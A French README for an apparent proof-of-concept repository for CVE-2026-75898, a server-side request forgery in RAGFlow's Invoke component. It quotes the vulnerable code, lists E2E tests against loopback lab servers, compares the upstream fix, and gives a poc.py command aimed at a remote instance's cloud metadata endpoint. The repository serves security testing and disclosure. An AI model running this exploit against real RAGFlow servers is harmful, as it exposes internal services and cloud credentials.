
Preuve de concept pour CVE-2026-75898, une SSRF dans le composant Invoke de RAGFlow. Démontre la vulnérabilité avec une source non modifiée, inclut des tests E2E, une comparaison de correctifs et une reproduction basée sur Docker pour les tests de sécurité autorisés.
| CVE | CVE-2026-75898 |
| CVSS | 8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N) |
| Corrigé dans | v0.26.3 |
| Commits de correction | c4fe68e, e16d1a0 |
| Références de tickets | infiniflow/ragflow#15425, #18280 |
| Avis de sécurité | VulnCheck |
Dans agent/component/invoke.py de la v0.26.2, le composant Invoke construit l'URL de la requête à partir de modèles de variables fournis par l'utilisateur et n'effectue aucune validation de l'hôte résolu :
def _build_url(self, kwargs: dict) -> str:
url = self._resolve_template_text(self._param.url.strip(), kwargs)
if not url.startswith(("http://", "https://")):
url = "http://" + url
return url
Cette URL atteint requests.get/post/put dans _send_request(). Comme allow_redirects conserve la valeur par défaut de requests (True), un attaquant peut :
url de l'Invoke sur une adresse interne (127.0.0.1, 169.254.169.254, plages RFC1918 — aucun épinglage d'hôte résolu n'existe), ouLa correction ajoute assert_url_is_safe() + pin_dns() et force allow_redirects=False.
Contrairement aux réimplémentations « qui y ressemblent », ce dépôt exécute le code source v0.26.2 non modifié du composant vulnérable :
target/invoke_v0.26.2.py — copie octet pour octet de agent/component/invoke.py du tag v0.26.2.e2e/test_genuine_ssrf.py — charge ce fichier réel derrière de fins stubs d'import (le stub ne remplace que des imports sans rapport : ComponentBase, le décorateur timeout et HtmlParser — aucune logique du chemin SSRF n'est touchée) et prouve que le composant atteint un service interne directement et via une chaîne de redirections.e2e/test_fix_guard.py — applique la protection en amont (assert_url_is_safe, allow_redirects=False) sur le même fichier et montre que les requêtes sont bloquées.Validé de trois manières indépendantes :
e2e/test_genuine_ssrf.py pilote le code source non modifié target/invoke_v0.26.2.py contre des serveurs de laboratoire en boucle locale — SSRF confirmé.e2e/test_fix_guard.py applique la protection en amont au même fichier — bloqué.v0.26.2 (infinity+mysql+minio+valkey) via docker compose ; un nœud Invoke dans un flux d'agent réel a récupéré INTERNAL-DB-SECRET:dbpassword=SuperSecret123 depuis un port d'un hôte interne. Voir LAB_DEMO.md pour les preuves textuelles.cd e2e
python3 test_genuine_ssrf.py # doit afficher SSRF confirmed (vulnérable)
python3 test_fix_guard.py # doit afficher BLOCKED (comportement corrigé)
[1] Direct SSRF: url -> http://127.0.0.1:9380/internal/admin/reset
response: 'INTERNAL-SECRET-/internal/admin/reset' (X-Internal header: true)
[?] SSRF confirmed: internal service reached, secret leaked
[2] Redirect SSRF: url -> http://127.0.0.1:9381/ -> 302 -> 127.0.0.1:9380
final: 'INTERNAL-SECRET-/internal/redirected'
[?] SSRF via redirect chain confirmed
Nécessite un jeton de session authentifié (Invoke s'exécute dans un flux d'agent).
python3 poc.py --poc # E2E local
python3 poc.py --check --target https://ragflow.example.com \
--token $TOKEN --invoke-url http://169.254.169.254/latest/meta-data/
Invoke de l'agent à une liste blanche.Corrigé dans RAGFlow v0.26.3 (août 2026). Ce PoC a été reconstruit indépendamment à partir de l'avis public et des commits de correction à des fins exclusives de tests de sécurité autorisés et d'éducation. Non affilié à InfiniFlow.